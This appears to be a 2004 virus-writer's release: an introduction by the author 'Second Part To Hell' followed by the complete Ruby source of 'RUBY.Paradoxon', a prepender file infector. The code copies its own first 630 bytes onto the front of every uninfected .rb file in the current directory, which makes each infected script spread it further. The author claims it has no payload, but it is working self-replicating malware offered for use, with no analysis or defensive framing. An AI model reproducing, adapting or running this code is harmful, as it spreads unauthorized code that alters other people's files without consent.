RUBY.Paradoxon
  by Second Part To Hell
  www.spth.de.vu
  spth@priest.com
  written in november 2004
  in Austria (as a free world citizen)

  The virus you can see now is, as the name already says, a RUBY file infector.
  You may ask, what the hell is RUBY? Well, it's a web-based script language from
  japan, where it is very famous and often used. I've read about that language
  in a Linux Magazine (with the special Knoppix 3.6-scripting edition CD), and I
  wanted to try it (write a virus for it). OK, I've downloaded the Installation
  pack (http://www.geocities.co.jp/SiliconValley-PaloAlto/9251/ruby/main.html) for
  Ruby 1.8.1.2 and the 'Ruby Language Reference Manual'. Then i've started to learn
  it, and soon I've understood the main parts of the syntax, some important methods
  and objects and so on. And as a result of my work, you can find the virus here.

  RUBY.Paradoxon is a prepender-virus, which infects all .rb (Ruby) files in the
  current directory. It doesn't harm the host in any way nor it has any other payload.

  I'm going to write one advanced Ruby virus and write a tutorial about Ruby-infections
  soon. I've named my virus Paradoxon, because the existence of such a virus is very
  strange. I hope you enjoy the little trip into a world, nobody has ever met before :)


# RUBY.Paradoxon
mycode=File.open(__FILE__).read(630)
cdir = Dir.open(Dir.getwd)
  cdir.each do |a|
    if File.ftype(a)=="file" then
      if a[a.length-3, a.length]==".rb" then
        if a!=File.basename(__FILE__) then
          fcode=""
          fle=open(a)
          spth=fle.read(1)
          while spth!=nil
            fcode+=spth
            spth=fle.read(1)
          end
          fle.close
          if fcode[7,9]!="Paradoxon" then
            fcode=mycode+13.chr+10.chr+fcode
            fle=open(a,"w")
              fle.print fcode
            fle.close
          end
        end
      end
    end
  end
cdir.close